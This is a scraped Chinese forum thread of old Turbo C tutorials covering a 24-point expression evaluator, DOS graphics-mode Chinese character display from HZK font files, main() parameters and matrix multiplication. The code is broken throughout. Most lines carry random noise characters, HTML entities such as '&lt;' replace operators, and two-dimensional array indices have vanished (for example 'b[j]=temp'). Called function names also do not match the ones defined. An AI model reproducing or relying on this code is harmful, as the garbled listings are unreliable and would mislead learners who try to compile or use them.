case '+': p=1; break;
+ Z/ J, e6 \: @2 b1 S) C# Gcase '-': p=1; break;. `% g; f) x& x
case '(': p=0; break;$ Q# T2 A! P2 B  }& W1 N# O  ]
case '=': p=-1; break;
( H, z; p  ]: X6 g}
' X) T& b6 i1 H# P3 N' yreturn(p);  k  [; K# e7 C' W7 g8 C
}
# ^& ]- m4 C6 V3 K5 b7 s7 @, ?/* 此函数实现中缀到后缀的转换 */' r+ C5 S8 b0 m2 ~; y6 m7 v$ G
/* M的值宏定义为20 */5 P+ g; l  N; h8 g! q
/* sp[]为表达式数组 */
7 o% z  ?. _3 y. u& l! X3 Cint mid_last()
& o6 {. M9 q& z3 d6 ~{ int i=0,j=0; char c,sm[M];. g$ U5 z+ R# U
c=s[0]; sm[0]='='; top=0;: I8 D2 v. V1 {* D- x. A) ?
while(c!='\0')
* p  W; N! v7 W' U0 O{ if(islower(c)) sp[j++]=c;
' ]; p7 g* a: A6 @- D' Q2 M9 uelse switch(c)3 r5 n$ n& L1 t; @# j9 A' M4 Z' D& _
{ case '+':
( X/ @3 X4 J% D4 u- C9 Z; ~case '-':2 G" F1 S( k) e
case '*':2 T5 j; a& E& ?8 e3 o7 U: F% E9 f
case '/': while(first(c)&lt;=first(sm[top]))
* e& u- A& J& ?0 t- _! Ysp[j++]=sm[top--];$ a0 P- l% |/ S1 c% n: L
sm[++top]=c; break;* o- }% V! @8 H3 S, A) X; f3 d
case '(': sm[++top]=c; break;
, T& a; x' i7 g, bcase ')': while(sm[top]!='(')
0 f" s6 W0 N% T3 q: Y, ssp[j++]=sm[top--];
0 s  Z4 g( @3 S  f% q) Atop--; break;% e- X: E( U; c4 O0 ]; m" }
default :return(1);1 E' H8 z% D  x  j; X
}
0 y7 \+ F- X& nc=s[++i];) d! e# ^# d" T. v- [0 Q' C
}  [' |! X+ X. x" P% m4 k3 I0 a4 O! J
while(top&gt;0) sp[j++]=sm[top--];
- E2 `- q/ i3 }# wsp[j]='\0'; return(0);
7 P$ V6 C  B3 f8 j" ~9 Z8 ^}& c, u$ G6 C% R; C
/* 由后缀表达式来计算表达式的值 */" T8 [5 o0 y6 j) {
int calc()
9 ]9 ~, P( g5 ?0 Y2 U2 W{ int i=0,sm[M],tr; char c;4 b3 ~! L; }+ N) h' p* Z
c=sp[0]; top=-1;
9 d6 ^2 A8 E8 C& X0 n% b2 v8 Nwhile(c!='\0')
0 V& U0 }# u* P/ U9 }. R{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
$ _0 T, m7 f9 W. |* |这样才可以更方便的处理非一位数,
7 o( M- P1 t: ~2 l. Uver数组中存放着这些字母所代替的数*/
, O$ Z. C. R' J7 I1 r0 Celse switch(c)
  F8 f3 d7 h6 f( C8 X0 W{ case '+': tr=sm[top--]; sm[top]+=tr; break;
* y$ k" o% B9 s0 r  F5 n- pcase '-': tr=sm[top--]; sm[top]-=tr; break;
7 ?5 n% _! }/ D# d; d! g* Fcase '*': tr=sm[top--]; sm[top]*=tr; break;
$ {# L! {0 Y! H: ccase '/': tr=sm[top--];sm[top]/=tr;break;% {- @, ]# q4 ^' S/ n
default : return(1);
% M* S: x! w$ Q; R" c4 S- P3 f, b}
+ T0 g8 y; Q' P' kc=sp[++i];
% G% G0 y0 f  c' i}7 E" y/ X' r; m2 \& K! {% u
if(top&gt;0) return(1);' x: `0 s8 L9 C2 [  h7 `
else { result=sm[top]; return(0); }9 o8 _+ Z+ ]+ u3 k; O' y. y
}# s% v6 R6 Z; E* x3 l
</FONT>
( ^- v0 y/ E3 c; v5 F& N+ Y0 w  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
# k* t9 v. B8 i) t9 U5 I6 ^0 R) c! G, x5 x$ Z
  最后我总结了一下这其中容易出错的地方——, I1 M# ^" v& y8 w0 y- g

  p+ h- y9 Z6 W) ]" c% i% @- t  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。
2 }# T1 a; H8 m7 n1 J) p. @; r# G$ o% Z2 o0 p' K% o; M
  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
  L0 }/ {" [# z7 ?! ^" Q
7 [. Y' T6 C8 U3 ?" y  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
: i2 @$ u# h" v6 `7 B2 N9 g0 U% g0 k- Q. n
  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
* H6 x/ t& n* L" s
/ t! \- ?' Z( d( x8 |  z/ g  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。4 q/ s/ y- s: \; I
" \- q' I5 Q8 J  t5 G
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
' g( h* E; a8 g5 A0 O# v5 D" L4 t# i( R- L" y
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
7 ?! g7 p* g; \" k3 f3 Z& G4 X+ o</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>0 a, L) f* J: H2 a
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}% g, Z; O9 D, Q* m
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。
+ z$ x& o9 I5 M& ?9 S  汉字显示的第一步是打开字库文件。 ! q3 z. D: K# n3 y  E! @
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。" H7 t  F4 q0 U$ a' A: R
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p): ~" S4 d6 P. \" c4 U( @, F
{
7 I! l9 H& @" b9 x) j/ }unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
* X" i4 N+ X0 u4 t" w4 y7 Zint rec,i1,i2,i3; /*z:space between;*/
1 i/ j: J7 E* e$ Q3 `0 glong l; /*color:txt color*/$ d  ]' }5 e: b
char by[32]; /*p:HZ str*/
2 ^: F4 E& h- R  i- h  @0 oif( handle&lt;0 ) return -1; while((i=*p++)!=0){
$ r9 S; T" f7 i' P1 }if(i&gt;0xa1)% t7 r0 B& s8 E, E2 S- n# M
if(f==0){* A2 W/ r: }8 Q8 c
c1=(i-0xa1)&amp;0x07f;- A1 C9 j# j  w3 J- q4 T' Q
f=1;
+ [) u* r8 g6 k4 P" D* i3 W}
2 T% u2 W! v8 C5 delse{3 m4 s# k- t5 M8 a! N
c2=(i-0xa1)&amp;0x07f;) p6 L# O* x  j8 j
f=0;1 Y7 g0 R7 k6 T/ o5 q
rec=c1*94+c2;
2 }7 f- ^0 l. g% V' xl=rec*32L;
) a9 A# q( a" G( @! l& ylseek(handle,l,SEEK_SET);  s  r: l6 x- K  Y6 ?
read(handle,by,32);
) M: a8 h& p& [$ K  ifor(i1=0;i1&lt;16;i1++)7 s& ^. m) D6 Y
for(i2=0;i2&lt;2;i2++)9 o; E9 T( F" |) D
for(i3=0;i3&lt;8;i3++)
# _2 a* z% `4 t( Qif(GetBit(by[i1*2+i2],7-i3))
  r$ |) x8 P, b- @3 y2 qputpixel(x+i2*8+i3,y+i1,color);. d; a9 R+ z# s* U8 E2 u2 l' ?
x=x+z+16;7 W5 _2 I0 g0 I7 z' y) n/ A  C& B' ^
}
: t$ f2 ~) F" |5 ~& n}) [4 t" Y. t7 ?' r+ [
return(x);; ]( k( p/ }2 p" f( Y
}
( E1 d6 l) V) l9 E8 v函数GetBit定义如下:: a+ t1 d( h3 M2 r/ B
  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
$ o: j, v- `% E8 q  G6 ?4 dint GetBit(unsigned char c,int n). p- F2 f: @9 T3 h
{; b2 [* o1 n: o
return((c&gt;&gt;n)&amp;1);9 d& U# I2 q# E, G8 F
}
% U/ E$ q" I* r+ j汉字显示结束,应该关闭字库文件。
7 J" D$ G: L+ J$ y1 s9 v& \void CloseHz(void)
+ o7 J: A4 T; H/ C# t9 L8 d{
) Z. i9 a, M' \( l6 @6 gclose( handle );
, v% J/ @9 {- s' r' X% h3 A( u$ e}, ~3 t+ _, v( X& `  \' F9 n7 n
#include "\Caic\Include\Hz.h"
$ T0 H  W6 w( f8 X#include <GRAPHICS.H>% m; X/ @3 h, i. [' `  h0 u
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
1 D' c1 }: I2 n" a' @0 h" b2 Fconst char* HzStr = "苦丁香C语言辅助学习软件";
: @7 z; e( K. I$ S& k( I9 _) Avoid main(){
+ x/ j" c# t, q$ n# j# G; r" L2 Xint gr=DETECT,gm;! W. X! M* a0 X/ }5 W
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
# ^% w; g; o6 f4 C3 MOpenHz( Hz16Path );
7 d# i( a3 ~$ O/ P( h' B5 OWrt16Hz(20,20,4,RED,HzStr);
* v7 q9 z1 i% mCloseHz();
6 J. S, e! d. L- Bgetch();0 C3 `& z4 @& r$ f9 F6 o
closegraph();2 Q/ r8 @+ _( }/ w5 {
}显示24点阵及放大汉字
; P; E! M* r( t# t5 l  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。6 e  {" o. J- s. Z
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。$ x& U! G( W7 i
int WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
; S# b* s9 S* S. S4 E, T0 a{- H% ~6 M; s/ Z! G. x5 U
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/5 I4 D2 t' _( X* @1 ^
int i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
- w# R- _8 P2 L/ P, D' hlong l; /*color:汉字颜色*/
3 v2 l# m0 b9 ?/ o  A# E0 C# Kchar by[72]; /*m: x 方向的放大倍数*/6 }  G6 n, P& r5 a6 b6 V
/*n: y 方向的放大倍数*/) [/ [, G$ d  A" u* i4 @
if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){
+ ~5 r$ q! S5 R$ H! X: Bif(i&gt;0xa1)# C/ Z! ]# @; {0 F5 d. E
if(f==0){$ l4 Y4 e4 p% D, }3 T
c1=(i-0xa1)&amp;0x7f;0 F% b2 J& X2 h  u
f=1;6 ~2 ~9 y. O" x& G+ y: J4 @8 E
}$ ]6 F; d  l$ i  g4 U6 f
else{
0 Q% n8 g3 W# vc2=(i-0xa1)&amp;0x7f;
! d# h# ~& Q+ C5 E, E( U6 _/ of=0;
* G$ @, v" I" trec=(c1-15)*94+c2;9 a! k9 G0 [$ Q. u% x1 e7 ]' `1 ~
l=rec*72L;
0 J' T5 i( U, rlseek(handle,l,SEEK_SET);+ U) q! X" B8 q& o$ l
read(handle,by,72);
/ {5 @$ j4 ~# t! D9 X8 L- Ufor(i1=0;i1&lt;24*m;i1=i1+m)
; D3 @( p. F' P: }1 E, Ofor(i4=0;i4<M;I4++)
0 W9 Z4 P5 `+ \2 K6 m for(i2=0;i2&lt;=2;i2++)
0 n* V- a. \5 R% ^for(i3=0;i3&lt;8;i3++)' K2 \8 H# g0 S& @2 D
if(GetBit(by[i1/m*3+i2],7-i3))
/ D2 F) c' v7 Tfor(i5=0;i5<N;I5++)/ W& P9 P* ^7 y5 U: B
putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
1 F* }: J; ^7 L; K) S$ `1 Mx=x+24*m+z;
! Z% X+ k% }! [( H$ _( H9 g}
$ B( S. `/ c+ E+ s/ f" c}" d$ N& J' X" a9 b
return(x);  x8 ^" p( d. y" r( O1 V
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
: y2 j6 o% b1 t& Y+ a" P6 h#include <GRAPHICS.H>
& i$ G, B, h0 b6 A6 f4 e#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."# U9 P3 a! D3 k1 Y- B
const char* HzStr = "苦丁香C语言辅助学习软件";: _. H- k+ q* [- q* [  W
void main(){
, f3 S: s- R' b$ G- wint gr=DETECT,gm;! x* P, f! I2 U; e/ ]$ ?8 N- j
initgraph(&amp;gr,gm,"\\Caic\\Bgi");
' l; B" Z( y$ b* r7 ?OpenHz( Hz24Path );
6 L2 @# k; i/ Z4 h6 V- KWrt24Hz(20,20, /*先是在(x,y)*/1 g5 i. E' i/ {# @' @9 w  F
4, /*汉字间的空格为4*/! {8 N# {5 V0 c0 ?; t) M/ v- w
RED, /*用红色显示*/* u% W8 o8 b- {4 w! {
2, /*x 方向放大2倍*/+ x: n  u1 b9 Z$ ~
4, /*y 方向放大4倍*/6 K0 N+ X5 r- q; V; E2 w
HzStr); /*显示字符串*/
) _! n- T4 r' a8 y; ?4 o9 }CloseHz();- |" `! I/ Y% x' A& e% w
getch();/ o% ^  C3 S# C+ Y& K2 q1 r) _
closegraph();
: V& V9 Y( _! U- ]- U} ; H1 d( {0 g/ z! d2 I
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数
* \& w' A- g2 `- P  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。' T- Z6 Y, h4 w/ o$ U; k7 ^- L  k
1. main() 参数8 G) v. e0 E" g2 c- C8 [  C
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。
1 {, y% H. E0 B# P  * argc: 整数,为传给main()的命令行参数个数。) N1 H8 t3 D  O! Q
  * argv: 字符串数组。
' `# c$ a/ A: }- l5 j4 U3 D在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
3 W" |. D% |5 M% H1 M对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;& T/ U  d! [+ r/ {8 U. R: n  r
...1 G0 _. e' I$ R, T  E1 g
argv[argc]为NULL。
4 R. @3 P+ I* @6 @. g) M$ x1 D  @0 H8 P  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
$ O0 F0 M4 E; o值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
* k6 D2 [3 [3 J- z: Q#include&lt;stdio.h&gt;
- Y+ Y$ f1 d2 f' U# Y0 w8 D#include&lt;conio.h&gt;
" e: l2 s! _0 _: @3 p& X4 p  U#define X 3% Z, u% a  q$ ~0 A/ ?
#define Y 3</P><>int a[X][Y];
) N* H, t) u4 O4 x& Z$ u5 [! Zint b[X][Y];) [+ }( A% I+ J2 N
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
5 q( C- O& ^& x" I$ a2 [, Kmain()
/ z2 \8 h% C( {{
( O' J6 T8 m, }! Y( C: s0 |6 xint i,j,temp;6 n, L) V$ {) Y4 J- c5 D6 \
clrscr();1 W  \% m1 ^& |3 y8 Y" I
printf("lease input int matrix b[%d][%d]\n",X,Y);
( f9 V0 o4 l! S( p+ R) `. @for(i=0;i&lt;Y;i++)
) }+ g! ]. A8 cfor(j=0;j&lt;Y;j++){. Q, u. s' K3 @& R, U  v( X
scanf("%d",&amp;temp);+ u5 N# R( d& `" G
b[j]=temp;0 B1 o) B+ ]1 \4 @
}
9 z$ Z% [# j1 q- H4 Uprintf("lease input int matrix c[%d][%d]\n",X,Y);
3 Y3 A& K; N5 gfor(i=0;i&lt;X;i++)) D  ?5 b: z. y) m: \9 g0 i
for(j=0;j&lt;Y;j++){
7 J: I6 J* @* ~$ Gscanf("%d",&amp;temp);+ u5 Q2 }9 }# V8 Y
c[j]=temp;8 u" K; ?* R- i1 W1 v
}
3 H0 [: k' L* F- e3 e% smatrix(b,c);  M5 H* X3 C. F+ X& V3 q
printf("Now print resource matrix b[%d][%d]=",X,Y);# ~. m/ B. x- y0 i) n! F( {5 a
for(i=0;i&lt;X;i++){
" h% W. b8 L. J4 U( m3 @( Hprintf("\n");+ r2 A9 ~8 \* x6 g3 P3 D
for(j=0;j&lt;Y;j++)8 P# V6 g" S; g1 s' u9 L
printf("%d ",b[j]);) M. k" j' E* y& o, x6 C, v: k
}* A% B' e5 o0 g* `: z
printf("\n");
! J) B0 ?5 X. X5 r( u: B) iprintf("Now print resource matrix c[%d][%d]=",X,Y);, Y5 L& ]4 {  u2 z* o7 Z
for(i=0;i&lt;X;i++){
. }- w+ w' ~2 H3 Iprintf("\n");  ?- _2 ~! Y2 x; A) _
for(j=0;j&lt;Y;j++)
7 W/ \& y9 z% f* hprintf("%d ",c[j]);$ y6 ~5 O1 v! |, N( k
}
* t3 u; X8 g. S! `. i$ cprintf("\n");
6 h2 D% y: M( c$ J( B( Q  yprintf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
, l- ^+ {: d% @for(i=0;i&lt;X;i++){* m$ Y: u+ I) m% ^0 X; t+ Y$ f5 L
printf("\n");4 l' N7 y8 [% U3 w6 q" \4 y
for(j=0;j&lt;Y;j++)
, M$ e  {+ D" V+ Y2 a* O1 E+ nprintf("%d ",a[j]);. z4 `- e5 A% H5 @' n  H
}
0 K/ @+ H* [1 }# d' Zgetch();2 F4 h0 E0 X$ y% W. ^& b
return 0;
8 W" j8 J# `/ H  j/ ^' \8 |1 a}9 V: t; @& E5 ~* f" E
/********************************************************************// E! w$ ?& j7 n, K
void matrix(int b[][X],int c[][Y])/ `+ @1 T: b( @5 E
{* P  D; p8 n: I  ^* n
int i,j,k,temp;
* d9 l" p& a0 H5 V9 Mfor(i=0;i&lt;X;i++)
; n9 Z) B/ [% B+ h. @) t7 M# J# l3 {1 C8 xfor(j=0;j&lt;Y;j++){, t+ {2 _  _$ ?/ n: ?
for(k=0;k&lt;Y;k++)
7 Y9 F9 U1 z2 H6 ^& xa[j]+=b[k]*c[k][j];$ E% J% T% X* Q; K0 k
}2 v  |9 |$ d  B  @7 \9 b0 p# I
}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-4-18 03:41 , Processed in 0.494917 second(s), 90 queries .

回顶部